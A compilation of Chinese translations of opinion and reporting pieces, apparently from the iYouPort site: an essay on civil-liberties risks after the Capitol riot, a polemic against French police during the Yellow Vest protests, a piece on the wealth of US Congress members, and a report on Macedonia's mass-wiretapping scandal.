我之所以这么说，并不是因为我认为这种威胁不存在或微不足道：9/11时我就住在纽约市，至今还记得整个曼哈顿下城散发的气味和烟雾所带来的痛苦和恐怖，以及绝望的家庭不愿接受亲人死亡这一显而易见的现实而在每个街角的每根灯柱上贴着令人难忘的 “失踪” 海报。我和大多数其他美国人一样，对奥兰多大屠杀、伦敦和马德里的地铁爆炸案、圣贝纳迪诺的工作场所大规模枪击事件，感到无比厌恶和悲伤。

我坚持要求我们审视这笔账的另一面 —— 不仅是这种袭击的代价和危险，而且是以制止这种袭击为名实施的所谓 “解决办法”，这并不是因为对这些死亡漠不关心，也不是因为对这些袭击的责任人持天真的看法，而是，因为我同时认识到国家强加的侵蚀公民基本权利的专制反应所带来的危险，特别是在创伤性事件发生后不久。人们不必为了理性地抵制恐惧驱动的狂热主义而进行否定主义或将威胁最小化——正如 Barbara Lee 在2001年9月14日如此雄辩地坚持的那样。

人类的记忆通常是短暂的，而社交媒体的主导地位使记忆更加粗略。许多人可能已经忘记了，克林顿政府抓住**1995**年俄克拉荷马城联邦政府大楼爆炸事件，从根本上扩大了执法权力，并升级了对所有加密互

联网通信的全面后门访问的要求。

- 不要错过《间谍们痴迷于非法监视环保活动家，他们错过了一名全副武装的右翼恐怖分子》

企业媒体不断大肆炒作在爱达荷州和蒙大拿州等地方的周末民兵活动，加剧了证明采取如此严厉的专制措施的必要性恐惧，据说这些地方正在策划对联邦政府的武装起义。

我曾经分析过的关于反恐战争对核心宪法权利的第一个重大攻击，是纽特·金里奇2006年的演讲，他建议反恐应该“修改”第一修正案对言论自由的保护。

前众议院议长赞许地引用了前联邦检察官安德鲁·麦卡锡的一篇评论文章—— 题为“恐怖分子的言论自由？”—— 并坚持认为，有些思想是如此危险，特别是在恐怖主义和互联网时代，必须限制第一修正案，以允许更大的审查权力，以下是其原话：

在敌人致力于恐怖主义的情况下，对恐怖主义的鼓吹 —— 威胁、语话—— 不仅仅是教条，甚至是对“行动”的呼吁。它们本身就是武器 —— 煽动和恐吓的武器，在其目的现实方面往往与公开挥舞的火器和爆炸物一样有效 . . .

我们是否如此缺乏信心（除了对言论本身神圣不可侵犯的地位），以至于我们无法肯定地说，有些东西确实是邪恶的，而鼓吹这些东西不仅不能达到任何社会理想的目的，反而会导致更多的邪恶？我们历史上对舆论的尊重，无论多么有害，是否也必须服从于对无辜者动武的号召，或摧毁保护宗教和政治自由的代议制政府的形式？我们是否可以甚至禁止伊斯兰激进主义的鼓吹，并将其定为刑事犯罪 . . .

作为一个言论自由的倡导者和公民自由的捍卫者，我自然对这种认为某些政治思想可能被国家划定为危险、以至于可以在法律上加以压制的说法感到反感。对此，我在2006年反问道：“是否有任何布什的追随者和新保守主义者们实际上相信美国的价值观 —— 任何神圣不可侵犯的宪法原则，他们会反对违反这些原则的人？”我的结论是：“肯定没有这样的人。”

除了对公民自由受到侵蚀发出警报外，我还经常坚持认为，如果没有其他原因，就应该考虑针对美国的恐怖主义的根本原因，以了解如何在不破坏美国人核心自由的情况下解决它。

我认为，虽然宗教狂热有时可能是原因，但更多的时候，此类袭击的动机是对美国政府在穆斯林占多数的国家使用炸弹、无人机和坦克杀害包括儿童在内的大量无辜民众的愤怒。右翼倡导者常常将这种论调妖魔化，认为是支持恐怖主义或为恐怖袭击“辩护”，但左翼人士基本上支持对动机的探究，正如他们长期以来支持试图了解暴力犯罪的动机一样，理由是错误的行动往往是由有效的或至少是广泛认同的可补救的不满所驱动的。但是，我们应该试图确定恐怖行为或暴力犯罪的核心动机，而不仅仅是给它们贴上邪恶的标签，并发誓要消灭它们的肇事者。而后者这种观点在很大程度上被视为主流语话中的禁忌。

现在，以打击特朗普主义的名义，包括积极利用在国会大厦发生的事件所引发的公众情绪，加速实施强力维稳，并将不同意见妖魔化，每一种为侵蚀公民自由找借口的反恐战争修辞策略都被引用了，这一点令人震惊。

以外国恐怖主义的名义用来攻击本国公民自由的同一框架，现在正被无缝地应用于“国内白人至上主义恐怖分子”所构成的威胁 —— 往往是由那些在过去二十年里反对它的人所使用的，尤其是在国会暴动之后，自由派精英们更喜欢用这个词来形容一般的特朗普支持者。在很多方面，国会暴动是自由派的911事件，因为即使是他们中最理智的评论员也在使用最不理智的言论。

在国会大厦被清场后的几个小时内，我们听到了许多国会议员提出的真正激进的建议。众议员科里·布什 (Cori Bush) 认为，那些反对选举团制度或质疑其合法性的参议员和众议员，如果不被起诉，就应该被正式指控为煽动叛乱，并被逐出众议院，其他众议员也表示支持。许多人认为，即使是那些和平进入国会大厦的手无寸铁的抗议者，也应该被联邦调查局作为国内恐怖分子进行追捕。

要求禁止煽动者和抗议参与者的社交媒体账户的呼声此起彼伏。记者和政客们对 Facebook 和 Twitter 暂时禁止特朗普使用其服务的决定表示欢呼，然后当 Facebook 首席执行官马克·扎克伯格（Mark Zuckerberg）宣布，对特朗普的禁令延长到拜登的就职典礼时，他们再次欢呼。一些记者，如CNN的奥利弗·达西（Oliver Darcy）抱怨说 Facebook 做得还不够，需要对右翼声音进行更大规模的审查。2006年曾经激进的金里奇的论点现在正在蓬勃发展，甚至接近共识。

这些要求审查的呼声，无论是网上的还是官方的，都是建立在长期以来被否定的、经常被拒绝的、危险的观点基础上，即 一个人不仅要为*自己的*非法行为承担法律责任，而且要为其本应受宪法保护的言论的后果承担法律责任：这意味着*其他人*在听到煽动性言论时可能采

取的行动。这就是密西西比州在1970年代使用的扭曲心态，试图让有色人种协进会领导人对其追随者在听到前者振奋人心的支持抵制的演讲后对抵制者的暴力行为负责。不同的只是最高法院在**1982**年一致拒绝了这种宣称，理由是“虽然国家可以合法地对暴力行为的后果进行起诉，但不能对非暴力的、受保护的活动的后果进行起诉”，并补充说，即使是“提倡使用武力或暴力的言论也不能脱离第一修正案的保护。”

- 关于第一修正案保护什么的解析《封锁言论就能制止仇恨吗？不》

与几个月前相比，心态上的完全逆转令人目瞪口呆。那些花了一个夏天要求为警察提供资金的人，对警察在国会大厦的反应不够有力、暴力和侵略性感到愤怒。那些敦促废除监狱的人，正在要求特朗普的支持者被监禁多年。那些打着“反法西斯主义”旗号，要求解雇《纽约时报》一名顶级编辑的人 —— 因为他发表了参议员汤姆-科顿 (Tom Cotton) 的一篇专栏文章，主张部署美国军队来平息骚乱—— 这种观点被认为不仅是错误的，而且在体面的社会中是不可言说的 —— 如今，这些人对没有在国会大厦部署国民警卫队来镇压亲特朗普的支持者而感到愤怒。

一些 Antifa 倡导者正在努力曝光国会大厦抗议者的名字，以授权FBI以恐怖主义罪名逮捕他们。而众议员 Cori Bush 提出的因国会议员的颠覆性观点而解除他们的职务的建议，在大肆传播的同时，许多人忘记了在**1966**年，佐治亚州议会拒绝让朱利安·邦德（**Julian Bond**）获得席位，因为他拒绝否认他在学生非暴力协调委员会的反战工作（该组织当时被认为是“国内恐怖组织”）。

【注：Julian Bond，美国上世纪60年代最知名的民权运动领袖之一、有色人种协进会(N.A.A.C.P.)前主席，邦德在大学期间参与创办了莫尔豪斯文理学院的非暴力协调学生委员会，自此走上民权运动道路。在反对越战、争取平权等各个领域，他都是站在最前线的斗士。邦德担任N.A.A.C.P.主席长达十年，亦曾担任乔治亚州议员、弗吉尼亚大学教授等职。2015年去世】

那些在去年夏天认为财产损失毫无意义，甚至是高尚的人，正在把砸碎窗户和抢劫国会大厦的讲台当作叛国罪，当作政变。人们不需要对昨天的可悲行动置之不理，同时也需要拒绝应用那些明显不适用的术语：政变未遂、叛乱、煽动。闯入国会大厦的几百人根本不可能推翻美国政府—— 这个世界上最强大、武装和军事化的实体—— 也没有尝试去做。

也许很多人认为，看到庄严的国会议员躲在恐惧的暴动中，比看着普通的小企业主在他们的店铺被烧成灰烬时哭泣更让人难过。无疑，在国会大厦呆的时间多、与参议员和众议员有长期交情的国内记者，对国会大厦圆形大厅里的暴力团伙比波特兰或基诺沙街头的暴力团伙更感到惊恐。但这并不意味着在寻找清醒的语言来准确描述这些事件时理性的克制是不必要的。

一方面，成千上万的人在经过长期策划、协调的阴谋之后，以夺取永久权力为目标，向国会大厦开枪；另一方面，一群冲动的、受怨气驱使的人由于人数众多而或多或少地大摇大摆地进入国会大厦，然后在几个小时之后离开，这两者之间存在着巨大的差别。唯一被枪杀的是一名被国家武装人员杀死的抗议者，这本身就说明了这些词语是多么的不负责任。除了“法西斯叛国”和“无害的抗议”之外，还有更多的形容词可以更准确地描述这场暴动，这两极之间有巨大的空间。人们不应被迫在这两者之间做出选择。

长期以来，人们都清楚，在后特朗普时代，希望让观众上钩的媒体、以及希望增加权力的政府官员，都会千方百计地居中渲染右翼派别所带来的威胁。至少在过去的一年里，我已经说过很多次了。

和所有被夸大的威胁一样，这个威胁也是有内核的。就像每个派别一样，有一些右翼活动家充满了愤怒，他们愿意从事暴力活动。他们中的一些人是危险的（就像后911时代的一些穆斯林，以及一些虚无主义者，过去和现在都是真正的暴力和危险）。但是，正如冷战和反恐战争以及其他许多危机引发的反应一样，这张纸的另一面 —— 显然是以阻止它们的名义计划、敦促和准备的严酷的国家权力 —— 也有其自身极其可怕的危险。

因害怕被指责为“淡化威胁”而拒绝考虑这些危险，是专制国家权力倡导者最常用的策略。在国会大厦被攻破后不到二十四小时，人们就看到这种策略被大张旗鼓地使用，而且在1月20日之后肯定会持续很长时间。〇

Violence in the Capitol, Dangers in the Aftermath

原文

他们不关心你的死活，因为他们是1% - iyouport

社会反抗和思考社会运动和公民社会维稳面面观

【2019年5月31日存档】为什么人们害怕警察？为什么警察如此粗鲁却不会受到任何惩罚？为什么主流媒体美化警方而无视8,000多人被捕，500人受重伤，2000多人被监禁，12人死亡，20多人失明，6人失去了手……？

黄背心的“Acte 16”游行变成了一道风景。随着抗议者的聚集量不断增大、警察的维稳部署也在加强，在直播采访中，我去了一家花店。当我开始和那位准备关店逃离此处的女店主交谈时，一名法国防暴警察闯了进来打断了我们的谈话。

那个警察只是渴了。我明白为什么—法国防暴警察穿的盔甲比美国橄榄球运动员还厚，并携带着比蝙蝠侠还多的攻击装备，这让他看起来整个人尺寸巨大，吓坏了这位身材娇小的花店老板。

花店老板可能不知道黄背心游行注定要在她家门口爆发。那个警察索要的不是一瓶矿泉水，而是6～9瓶。他真的相信花店也能出售瓶装水吗？但更有可能的是：因为他是一名警察，他知道自己是警察，只要他向任何公民施加压力，他们就必须交出瓶装水。并且，当然，因为他是一名法国警察，他也知道，他这么做不会有任何影响。

这位受到威胁的年轻女士一直坚称自己没有瓶装水，警察终于放弃了。当她转身回到我身边时，我问道，“你有什么东西能给我吃吗？”她眼中仍有同样的恐惧，就像面对警察一样，她非常认真地回答：“不，我没有。对不起。“ 哎，可怜的女士。

这个故事与2019年警察精英程度有关。的确，只有那1%的人知道自己有权采取高于法律的行为对其他人施压，

美国占领运动时的口号就是，“我们是99％”。无论我们是否说“警察是1％的一部分”，或者“警察不是99％的一部分”，效果是同样的—是

时候开始公开表达了。

以下是任何主流媒体从未报道的事：大量武装警察部署在法国示威游行中，人们经常能听到游行队伍中发出一句口号，“每个人都讨厌警察”（Tout …… le monde …détestelapolice！）

每个人都讨厌法国的警察。每个人都在以同样的程度憎恨警察，因为他们讨厌1%，而警察就是1%的一部分。

让我们来看看历史吧：对于规定和纪律的粗暴要求自古以来总是由士兵和警察制造的。从公民的角度来看：禁卫军或任何有权持刀剑的人都是那1%的一部分。现在是2019年：去美国的任何一个蓝领社区和人们交谈一下你会发现—他们认为警察和消防员最吃香。为什么？因为他们拥有一个保守的老百姓可能想要得到的一切：社会地位，有保障的工作，提前退休和养老金。

社会地位：对于那些没能住在一个小城镇里的人来说，警察绝对是社会明星。每个人都知道他们是谁，都知道他们拥有的权力；每个人都敬仰他们，只因为害怕他们和他们拥有的权力。

保证工作：有人认为这些警察是从事危险工作的英雄，是吗？错了。警察甚至不是最危险职业的前十名—他们和一名棒球裁判员面临的危险程度相同。再检查一下警察的薪酬，在社会薪金水平排行榜中是前25位的（中位数工资：59,680美元）。

在法国，警察入狱是几乎闻所未闻的，就算他们犯下针对穆斯林或黑人的暴力罪行，也肯定不会承担责任。在法国法律中，警察的证词总是有效的，不能被质疑的，只能通过证据来证明。这就是为什么这么多无辜的抗议者被抓捕入狱的原因—因为警察这么说了。

提前退休和养老金：事实上，我唯一一次看到法国的抗议活动导致政府立即服软的案例，就是当警察游行时—政府当天就承诺进行改革。政客们知道 Praetorian Guards 的重要性。

所有这一切都能证明：警察不是99%的一部分。

黄背心的抗议者将粪便装入塑料袋里，向警察扔过去。这东西没任何杀伤力，但是被它击中可能会非常尴尬，“有辱人格”，哈哈，这个侮辱的程度几乎无法想象，是吧。

“警察深受羞辱，”他们的报告中就是这样写的。很好玩不是吗？侮辱，这就是警察日复一日地对普通公民所做的事; 就是警察对花店小

老板所做的事。

黄背心所做的正是他们新奥尔良的美国表兄弟在美国内战期间所做的事—当时他们将自己的尿壶倾倒在那群军官的头上，他们鄙视那群1%。

西方人应该但不需要明确区分警察和军队。士兵应该得到比警察更多的尊重，他们在资本主义 社会中来自人口中最反动的那部分。这些警察一直在猛烈地防范任何进步的革命，公民们都知道这一点，但却无能为力。

尽管有那么多针对少数族裔的子弹，有那么多秘密酷刑网站和智能手机视频揭露的警察暴行，但没用，警察在文化上、法律上和财政上都是老百姓不可触及的，因为他们是1%的一部分。主流媒体无视警察的行为，主流政治家保护他们的薪水和养老金，同时削减其他公务员的薪水和养老金，因为他们站在一起试图压制那 99%。

不平衡的警察待遇问题就像大多数社会国家问题一样，根深蒂固，只能被称为“完全的社会政治功能障碍”，只能通过革命来弥补。这就是黄背心基本上要求的。

大规模逮捕、群众审判和监禁现在都是法国生活的日常部分。在主流媒体中很少能听到更直率的语言：每个星期六，因抗议政府政策而受到伤害和被逮捕的人数上升了百分之几。

这里是数字：8,000多人被捕，500人受重伤，2000多人被监禁（截至2月14日），1,500多人等待审判（截止2月14日），12人死亡，20多人失明，6人失去了手，10,000多人被橡皮子弹击中。这里是法国。如果是委内瑞拉达到这些数字，联合国将授权进行军事干预。

令人遗憾的是，大多数被捕者都是首次抗议者—他们根本不知道如何对付警察，如何避免警察，以及如何在遭受警察欺凌时申诉自己的权利。他们不是对监狱很有经验的活动家，他们是真正最无辜和最绝望的人。

法国不像是一个现代民主国家，而是一个由“自由派强人”领导的“橡皮子弹共和国”; 这不是新鲜事—这些黄背心正在经历穆斯林在2年紧急状态期间所经历的事。

令人震惊的暴力和逮捕都是主流媒体反复坚持认为是“国家最伟大的英雄“警察们所造成的。只有反动派认为—每个人都讨厌警察; 只有维

稳爱好者才讨厌黄背心。

媒体应该受到指责：他们将橡皮子弹委婉地称为“闪光球”，称其是从“防守发射器”发射的，这些措辞会自动导致抗议者被歪曲为侵略者。对警察的伤害被视为等同于对抗议者的伤害，虽然从没有人知道哪个警察因橡皮子弹致盲、昏迷、和被杀，然而媒体会继续传达这样的描述。

Act 16 依旧是最温柔的一次……至少在巴黎，就是这样。在农村居民更容易进入的较小城市中仍然使用橡皮子弹、水炮、催泪瓦斯、和大规模逮捕。

也许，下次我飞往美国时，这样的文章会被边境警察摆在我面前以质问我；这样的文章不仅仅是主流记者的职业自杀，而且永远不会通过任何编辑的审核。也许那1%的人会在此之前就抓到我—无论是通过富人的法令还是他们那些全副武装的代理人。

这篇文章的作者 Ramin Mazaheri 是驻巴黎首席记者，自2009年以来一直在法国生活。他曾在美国担任日报记者，并报道过伊朗，古巴，埃及，突尼斯，韩国和其他地方的新闻。他的作品曾出现在各种期刊、杂志和网站上，也包括广播和电视。

France’s Yellow Vests: Proving Police Are Indeed Part of the 1%. 8,000+ arrested, 500 major injuries, 2,000+ imprisoned (as of Feb. 14), 1,500+ awaiting trials (Feb. 14), 12 deaths, 20+ blindings, 6 hands lost, 10,000+ rubber bullets fired. Cops never switch sides—they have too much to lose.

原文

别让有钱人给你代言 - iYouPort

其他社会运动和公民社会

你不一定要富有才能赢得选民的认同

「图」

「图」

当我听到本月的新闻报道中称 29 岁的亚历山大·奥卡西奥·科尔特斯（Alexandria Ocasio-Cortez）的储蓄账户中有 7,000 美元时，我的第一反应是："这一定很好"。

我可能不是唯一一个这么想的千禧一代。根据金融网站 Magnify Money 8月份的调查显示，千禧一代家庭的中位数存款仅为 2,430 美元。所以是的，对于一名国会议员来说，只有 7,000 美元的储蓄账户听起来确实很奇怪。但对于一个普通人来说，这再普通不过了。这是完全正常的。事实上，这也是相关的。

这就是使这个故事如此重要的原因。相关性已经成为选举政治领域的一种商品，政治候选人会像亲密的熟人那样对待他们的选民。竞选季充斥着各种政治宣传和政治表演，政客们拼命的希望引导人们认同他们粉饰装扮出来的人物形象。

尽管事实很容易被曝光，但是化妆舞会仍在继续。摄像机不断地转动，音乐不断地播放，通过这一切，我们中的许多人已经开始接受，这些官员和我们老百姓是全然不同的—— 选举政治世界不是平常人可以进入的领域。

Alexandria Ocasio-Cortez 当选为美国众议院第14区代表。2015 年，该国会议事厅的净值中位数为 90 万美元，2015 是编制数据的最近一年。这个数字几乎肯定是低估了的，因为国会议员不需要公开其住所和家产的价值—— 而这些可是大多数美国人最宝贵的资产。

这个数字—— 90万美元—— 大约是美国家庭平均净资产的9倍，即 97,300 美元。但是，如果你认为这很高，那么你需要深吸一口气

了，因为参议院的事更离谱。2015 年，美国参议员的净资产中值为 320 万美元。同样，由于那些奇怪的披露要求，实际数字可能要高得多。

因此，根据这些数据，亚历山大·奥卡西奥·科尔特斯（Alexandria Ocasio-Cortez）当选国会议员一事突然变得更具开创性。她不仅是一位有色人种、29岁的女性、而且直言不讳地说她也和我们其他人一样穷。她知道像“普通”人一样生活是什么样的。

当我们谈论政治的包容性和多样性时，阶级是一个经常被忽视的组成部分。然而，由于国会由远离大多数美国人日常现实的个人所主导，政策经常只会反映富人的利益。当然，外部资金在政治中的影响是塑造国会通过什么样的立法的一种令人难以置信的强大力量—— 但是阶级效忠的因素不能被低估。

研究表明，具有工薪阶层背景的官员往往表现出比同行更加勤俭的经济偏好。简而言之，当你沉浸在一个特权世界中时，你的现实感就会被歪曲。这种特权远非党派问题。在最富有的30名国会议员中，有12名是民主党人。

代表加利福尼亚州第12区的民主党众议员南希·佩洛西（Nancy Pelosi）是 30 位最富有的国会议员之一。她的净资产是1600万美元。“我们是资本主义者，”佩洛西毫不犹豫地断言，“而这就是资本主义的方式。”

本周，佩洛西被民主党核心小组提名为众议院议长。至少在接下来的两年里，通过众议院提出的各种政策的议程将由一个比大多数美国人富裕 160 倍的人决定—— 她是资本家。

长期以来，国会的阶级轮廓被认为是我们的政治制度不可避免的特征。我们可能不喜欢它，但我们都知道国会议院的目标是 1%。然而，围绕 Alexandria Ocasio-Cortez 的储蓄和 Ilhan Omar 作为租房者的经历的揭露，能带给人们一线希望。也许他们在众议院的存在会对其他议员产生一些影响。也许他们的选举将成为一些人的灵感，证明：你不一定要富有才能赢得选民的认同。

‘And through it all, many of us have come to accept that the people who hold office are separate from the rest of us—and that the world of electoral politics is not a realm into which everyday people can enter’: Congress Is Full of Rich People. How Can They Represent Us? With a Congress dominated by individuals who are

so far removed from the everyday realities of most Americans, is it any wonder that policy often reflects the interests of the wealthy?

原文

前共产国家的今天 - iyouport

技术暴政政府的间谍行为社会反抗和思考社会运动和公民社会

【2020年7月28日存档】监视不再是共产主义国家进行的，而是由现代欧洲民主共和国的情报机构进行的。“即使在共产主义时代，至少我们还知道自己一直在被监视……而如今的监视居然是秘密进行的”。政府间谍拥有多少民间线人已经不再重要，因为技术发展得更好了 —— 互联网监视一切 ……

“这只是政治”，马其顿共和国首都斯科普里的出租车司机 Branko 说。

这是对马其顿窃听丑闻的普遍反应。

此前一年，反对派领导人 Zoran Zaev 在网上发布了一系列他称为“爆炸性”的窃听程序 —— 这些信息表明，⚠多年来，大约有**20,000**名活动家、律师、反对派成员、记者、公务员、商人，甚至政府成员中的异议，都受到非法监视。别忘了，马其顿是一个很小的国家。

由欧洲委员会任命的高级法治专家进行的评估证实了许多指控。

出租车司机 Branko 的观点是可以理解的，但可以说是被操纵了。

多年来，马其顿的媒体格局一直受到合并运动的影响，媒体自由整体受到限制，编辑政策被所有权、财务关系和与高级职员的私人关系所控制。

马其顿在《无国界记者》的2015年新闻自由指数中排名第117位，仅次于塔吉克斯坦和卡塔尔。在2007年，它还排名第36位。

反对派领导人声称，窃听是由当时的总理 Nikola Gruevski 和他的堂兄 Saso Mijalkov 进行的，他当时是马其顿情报机构 “安全与反间谍局”（UBK）的负责人。

Gruevski 辩称窃听是由外国情报机构进行的，目的是“破坏国家稳定”。

在这种受控的媒体空间中，很难知道可以信任谁。谣言盛行。

丑闻的直接影响是深远的：大规模抗议导致欧盟促成一项协议，最终总理及其堂兄辞职，并于2016年6月举行了新的选举。

然而，个人和马其顿社会必定会在未来的多年中继续“体验”这种大规模窃听的长期影响。*Opposition leader Zoran Zaev announcing the wiretaps and holding copies of the recordings. February 2015. Youtube*

“我们在倒退”

「图」

对于曾经居住在前南斯拉夫的人们来说，严密控制的气氛是熟悉的。

马其顿是前社会主义联邦的成员之一，共产党在该国对媒体施加了严格的控制，并定期监视其人民，直到90年代初期血腥分裂为止。

1976年，剧院导演 Vladimir Milchin 被执政党定为国家敌人，“无政府自由主义者”，并遭受到定点监视。

直到**2000**年，他才开始能够读取到那些监听文件 —— 被执政党记录了五年的他的私人谈话，他与家人、朋友、及所有人的谈话记录。

而今天，他再次收到了同样的监听记录。但是这次是CD形式 —— 监视不是共产主义国家进行的，而是由现代欧洲民主共和国的情报机构进行的。

2015年2月，反对党马其顿社会民主联盟（SDSM）开始向受害者提供他们自己被截获的电话的录音，以CD的形式。

Vladimir 解释说：“我没有感到震惊。” 他已经担任马其顿开放社会研究所的执行主任，这是一个支持自由公民社会的国际基金会，由亿万富翁乔治·索罗斯（George Soros）资助。

“令人失望的是，这个国家现在与一党专制的共产主义国家一样，当年我就被共产党认为是内部敌人。”

“今年我在街上遭到一名戴头巾的男子的袭击 **……** 我收到了死亡威

胁。有一次我被告知我的尸体也不会被允许埋在马其顿 ……这就是这个国家对待政治对手的方式。”

Violeta Gligoroska 是终身活动家和新闻工作者，她还在开放社会研究所工作，她在五月份也收到了类似的私人对话窃听记录。

“感觉就像我被强奸了一样，就像我被国家强奸了一样。”

“我的父亲是被共产党开除党籍的，因为他是持不同政见者。当然，他受到了监视。我从没索要过那些监听文件。由于父亲已经去世，我没有勇气去寻求帮助。我希望内政部离我远点。”

“不幸的是，我自己也没能幸免。”

他们的基金会同事 Slavica Indjevska 解释说，他经常被亲政府的媒体妖魔化，被攻击为外国特工。这些媒体贬义地称他为“Sorosoids”。

上述这些人并不是特例。

即使是针对性最强的监视也会影响到与目标接触的每个人。这就是现代监控的主要目标和问题之一。

基金会工作人员的工作是关注社会和政治发展，并与记者和非政府组织（NGO）洽谈他们的项目、计划和意见。由于基金会遭到监视，因此政府可以直接监视到他们交谈和接触的每个人。

Slavica 仍不敢在自己的办公室里收听那张监听录音的CD。星期天晚上，当她接到电话被告知她可以拿到那张监听CD时，她正在为穿越马其顿的过境难民准备救助包。

“这是一种痛苦的感觉，当有人未经您同意就进入您的私人空间时，确实是一种可怕的感觉。就像有人潜入了你的房子，钻进了你的耳朵里……”。

经验丰富的激进主义活动家 Violeta 说：“这是该国历史上最糟糕的时期。”

“即使在共产主义时代，至少我们还知道自己一直在被监视…… 而如今的监视居然是秘密进行的”。

“就像东德一样；通过恐惧和宣传来毒害人们，以控制人们的思想和言谈。”

Slavica 回顾了在独立公投，该公投见证了马其顿在90年代初离开南斯拉夫。“我带走了儿子，我认为对他来说这可能是光明的未来。但是，似乎哪里出了问题 …… 在90年代，我们见证了希望和变化，人们被激励着去超越自己的个人立场。但是现在，我们却倒退了。”

她对未来并不乐观。她说，“我能看到国家拥有多少铁幕控制、压制，花了如此多的金钱，我能看到人们的恐惧，由于经济上的弱势而对强权的假设；人们很容易受到操纵，尤其是当你走投无路时”。
Vladimir Milchin, 2015. Privacy International

记者

「图」

Meri Jordanovska 也接到了一个电话，她被告知可以拿到一张CD，上面记录了当局窃听她的录音。

她目前是巴尔干调查报告网（BIRN）的记者，这个网络遍布前南斯拉夫各国，旨在促进言论自由、人权和民主价值观。

她在大学学习新闻学。她说，“当我还是大一学生的时候，我写了第一篇文章，那是因为我旅行很多，想写不同的文化。我以为我能写一些好的东西。

“当我七岁的时候，我就知道自己会成为一名记者，因为我写了很多东西，但是在马其顿，目前很难成为一名记者。除非你亲政府。

“如果你想做任何其他的事，例如帮助难民，你就会被视为该国的叛徒 …… 社会非常分裂，您要么支持他们，要么反对他们，你不能独立思考。”

“但是做出改变的机会仍然使我想成为一名记者。内部仍然存在着某些东西，使你想要深入挖掘以找到真相。”

BIRN Macedonia 发布了一份报告，该报告显示，有争议的政府项目的费用已从最初的8000万欧元跃升至5.6亿欧元，该项目是在斯科普里市中心建造一系列新古典主义建筑物。

为了提高项目的透明度，BIRN 开发了一个可公开访问的数据库，记录了各个部分的成本。

一些人认为，这些新项目表明了政府在如何推动马其顿向前发展。而

其他人则将其视为民族主义虚荣的项目，在欧洲失业率最高的国家之一中，这是不可原谅的。*Government building, Skopje, 2015. Privacy International*

Meri 之前曾在 Fokus 工作，Fokus 是一本重要的独立调查性新闻杂志，由广受尊敬的言论自由先驱 Nikola Mladenov 创立，他于2013年死于车祸。

反对派领导人 Zaev 呼吁根据录音重新对他的死讯进行调查。

“今天，音频记录的对话揭示了一个新的问题，该案是否可以作为悲剧性事故而结案，还是有迹象表明，可能有人故意谋杀”。

Fokus 的记者一直是政府官员提起民事诽谤诉讼的对象，其主编 Jadranka Kostova 最近被定为为前线人，当局称其在90年代将详细信息传递给南斯拉夫秘密警察。

欧洲安全与合作组织（OSCE）媒体自由特别代表 Dunja Mijatovic 随后表示：“该决定应该被视为对杂志施加压力，危及媒体出版，并因此对媒体生态产生寒蝉效应”。

在供职 Fokus 之前，Meri 曾在A1工作，这是马其顿的主要独立反对派电视台，由于与其所有者之间未缴税款纠纷，该电视台在2011年被迫关闭。

记者无国界后来总结说：“政府显然是抓住了机会，使一些批评当局的少数派媒体保持沉默”。

Meri 被认为与 A1 和 Fokus 有关联，因此受到监视。“这个政府不想看到任何批评意见。他们没有否认新闻，而是亲自攻击新闻记者。”

Meri 的被监听录音包含她与反对党成员之间的5–6次对话，话题涉及选举和秘密警察。

但是没人知道那些政府间谍究竟记录了多少次谈话 。

特别让她担心的是，她一直在与朋友、以及她的前任和已故同事 Nikola Mladenov 进行深入的私人对话。“我的一位同事收到了监听 Mladenov 的录音，就在他祝贺儿子出生的那天。”

“甚至儿子出生也会被监视”。

很明显，监视也影响了她的职业。如果潜在爆料人有理由相信与记者的谈话会被监听，他们就不会愿意与记者交谈，而反对党可以访问所有窃听录音的事实也意味着，他们现在有能力控制她和被监视的所有人。

你还能相信谁……

Meri 窃听事件中最令人震惊的是政府在马其顿的影响程度，有证据表明，高级政府人物直接干预司法任命、控制跨媒体的编辑决定、地区领导人任命、甚至通过操纵和恐吓选民等手段干预选举。

欧盟独立研究得出的结论是，这些录音似乎显示出“对操纵选民名单的讨论、选民收买、恐吓选民、包括威胁公务员、阻止选民投票。”

“社会的每个阶层都受到控制。我对机构不再有信心。每个人都与这个党有联系。”*Meri Jordanovska, 2015. Privacy International*

学术界

「图」

Jasna Koteska 看到了南斯拉夫的监视实践与现代技术监视之间的相似之处和差异。

她是文学、理论心理分析和性别研究的教授。她的父亲 Jovan Koteski 是前南斯拉夫的马其顿著名诗人，受到国家严格的监视长达**42**年。

“具有讽刺意味的是，当前的右翼马其顿政府与共产主义时代的执政党最接近 …… 都是高度集权的组织，由小干部决定谁合适、谁不合适，意味着与政党意见不同的任何人都会被亲政府媒体视为反人民、叛徒和西方走狗。”

“这基本上与共产主义时代发生的事一模一样，在那时，人们经常被贴上内部敌人和持不同政见者的标签。从意识形态上讲，虽然现任执政党可能反对共产主义而主张民族主义战略，但这只是观点的改变而已。”

Jasna 是《共产主义亲密关系》的作者，该书介绍了社会主义时代中欧和东欧的监视本质。

Jasna 指出：“通常，众所周知，在大多数情况下，政府间谍拥有多少

民间线人已经不再重要，因为技术已经发展得更好了 —— 互联网监视一切。”

“在共产主义马其顿的全部46年（1945–1991）中，官方声称的政府间谍档案总数是14,572份（非官方消息来源声称超过50,000个档案）。共产主义马其顿的直接政府线人数量估计为12,000至40,000人。”

现在，在这个只拥有**200**万人口的小国家中，就有至少**20,000**人被窃听 —— 即 百分之一。*Graffiti in Central Skopje, 2015. Privacy International*

这是怎么发生的？

「图」

马其顿是加入欧盟的热门候选人。与其他候选国家一样，欧盟的候选人资格在国家内部政治和国家管理方面占很大比重。

监视丑闻和相关抗议导致由欧盟委员会任命的一组高级法治专家对马其顿进行了调查，并在两个主要当事方之间达成了由欧盟代理的解决方案，即 所谓的 Przino 协议。

Katica Janeva 得到了所有议会政党的认可，并被任命为特别检察官，负责调查窃听行为。

但是，亲政府媒体已经对该任命提出了批评，而执政党则表示，它“不再相信她的独立性”，并对“她的行为合法性严重保留意见”。

特别检察官的主要任务之一是确定这种广泛的非法窃听是如何发生的并如何持续了如此长的时间。

1991年《马其顿宪法》第17条明确保障了通讯的隐私性，其中指出“通讯和通讯方式的自由和保密需要得到保障。在刑事调查必不可少或为维护共和国的利益而必需的情况下，只有法院的决定才可以授权侦听……”。

2005年，该国首次引入了《电子通信法》，以管理电信运营商与有权访问被截取的通信的政府机构之间的关系，此后发生了多处变化，直到2014年颁布了一项新法律。其中第175条规定，运营商必须安装用于实时拦截通信所必需的技术。

2010年，交通运输部提出了一项法律修正案，强制电信运营商向内政部提供直接且不受阻碍的流量和其他数据访问权限，而无需事先通知或法院命令。

该法案获得通过后，马其顿的宪法法院在非政府组织的请愿书逼迫之下废除了该修正案。

